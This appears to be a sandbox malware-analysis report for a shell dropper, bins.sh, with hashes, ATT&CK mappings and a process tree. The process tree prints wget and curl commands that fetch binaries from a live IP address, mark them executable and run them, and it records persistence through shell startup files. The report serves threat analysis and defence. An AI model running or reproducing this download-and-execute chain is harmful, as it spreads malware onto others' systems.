5bb655f82a8cfd65a9c493143f26ed8b476fe487ee4c4f7faffa4167b26952e4

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260127-en
resource tags

arch:armhfimage:debian9-armhf-20260127-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/05/2026, 23:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260509-3b7ldset5y
SHA256 5bb655f82a8cfd65a9c493143f26ed8b476fe487ee4c4f7faffa4167b26952e4
MD5 0526c17f6f2fdb59e47bc6275e510377
SHA1 9d36bb7d689e9ae8f1ff857e353438ea11eaf3a7
SHA512 d4b9c15753fe90a3e0b2225c1d04a2ddcd3902ad5a6f12195c45a466b9e198a811c71f883512c92f7b18674f03c8bddc2c0d4ccb416681ea50d8b503a91219c6
TLSH
T1E54196DBA2E090B3C469ED41FB54B4C4E19D86C361FFAEBCFDA45562489900CF1B6B60
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
772	chmod
777	chmod
671	chmod
680	chmod
714	chmod
731	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	672	bins.sh
/tmp/x86	681	bins.sh
/tmp/i386	716	bins.sh
/tmp/i386	732	bins.sh
/tmp/amd64	750	bins.sh
/tmp/amd64	773	bins.sh
/tmp/arm	778	bins.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/stat	arm
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:643
- /usr/bin/wget
  wget http://176.65.139.166/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:645
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/x86
  ./x86
  2⤵
  PID:672
- /bin/rm
  rm -f x86
  2⤵
  PID:674
- /usr/bin/curl
  curl -O http://176.65.139.166/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/x86
  ./x86
  2⤵
  PID:681
- /bin/rm
  rm -f x86
  2⤵
  PID:684
- /usr/bin/wget
  wget http://176.65.139.166/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/i386
  ./i386
  2⤵
  PID:716
- /bin/rm
  rm -f i386
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://176.65.139.166/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:723
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/i386
  ./i386
  2⤵
  PID:732
- /bin/rm
  rm -f i386
  2⤵
  PID:734
- /usr/bin/wget
  wget http://176.65.139.166/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/amd64
  ./amd64
  2⤵
  PID:750
- /bin/rm
  rm -f amd64
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://176.65.139.166/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/amd64
  ./amd64
  2⤵
  PID:773
- /bin/rm
  rm -f amd64
  2⤵
  PID:775
- /usr/bin/wget
  wget http://176.65.139.166/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:778

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.7MB
SHA256 a728ec777c4443d8f517fde61fcd6b8402997d85f1c076c9d3fc5ba71975f41b
MD5 93aeb82a0c809e5fd2b4984b7f273368
SHA1 3e2b4620ae8a9a8e07e3a75520e10ccc063af767
SHA512 66407af1e911148f4c1b0d7c7598e1ff12668b38551908c64aafadc277df7b9ffbce962464f9d2651f06e0547b3c0daea7544b709c69ee126b72eba92008b122
SSDEEP 49152:PD3PCIClAuQ8L12I7GbraWe5EBbSbZYZo8UxYh5a64O:mIClZQ7I7QaEY2hUZO
TLSH
T1E5363B17EC9586E8C0EAE23089629253BE717C495B3023D72F50F7392F72BD4AA79744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.6MB
SHA256 88a36e0423fda596ef8a70c8d1cf732f7b6475ff546b68c32a62abaf6bfe2984
MD5 e775f6d1b2b7aa2cf2fcee3304de2cb0
SHA1 aac36f7224e942952de059ac4b7cba0b6230fddc
SHA512 725b34dcdcd9aafd3a1acc20d30eafa3fc9f77d6626691f8d0a10f5b9398ccf12fa3095afcb8f77c0edfd5ff004264a6f5b89d371c1670355dbc3265ca0c0404
SSDEEP 24576:MZL0elvVA+6FzudFg3qehmCNGtxKr7wrauZD8p+nXsHulklqgytXxnsxOy+YOAEu:M10vIcu1FUfd4ahonyeFkOVFK
TLSH
T141261B87B8924983C4E43676B87E80C433A35EBA9B9753576D04FE3C3ABE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.6MB
SHA256 1b141165df34e7f56eeca2a18ad3d4f98a55a456e14624133cc2d79c3e531bc3
MD5 630af656ef98e4d15a5e372929307a33
SHA1 fb44cdb927c356e8e4308a79d3ecb6130a978516
SHA512 3738c8d66f6dff4edb1986cb3fb190e3c14391b0b3680dcad52d5c3e8fa621fe5c41849183854eee844d1b8543e3d8b844f3879434a07b4a076bd526564b5213
SSDEEP 49152:lpMwciYpuWQYs7FR5+Q+uvvunTcP8+pvrIW++xFzbiT/59JY2QNVEH:7Mw0BOR5+Q+uvjPM3jQkH
TLSH
T1D4262851FECB44F6E9031E3044BBA26F67315D058B29DBC7EA507F2AE9776D21932208
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads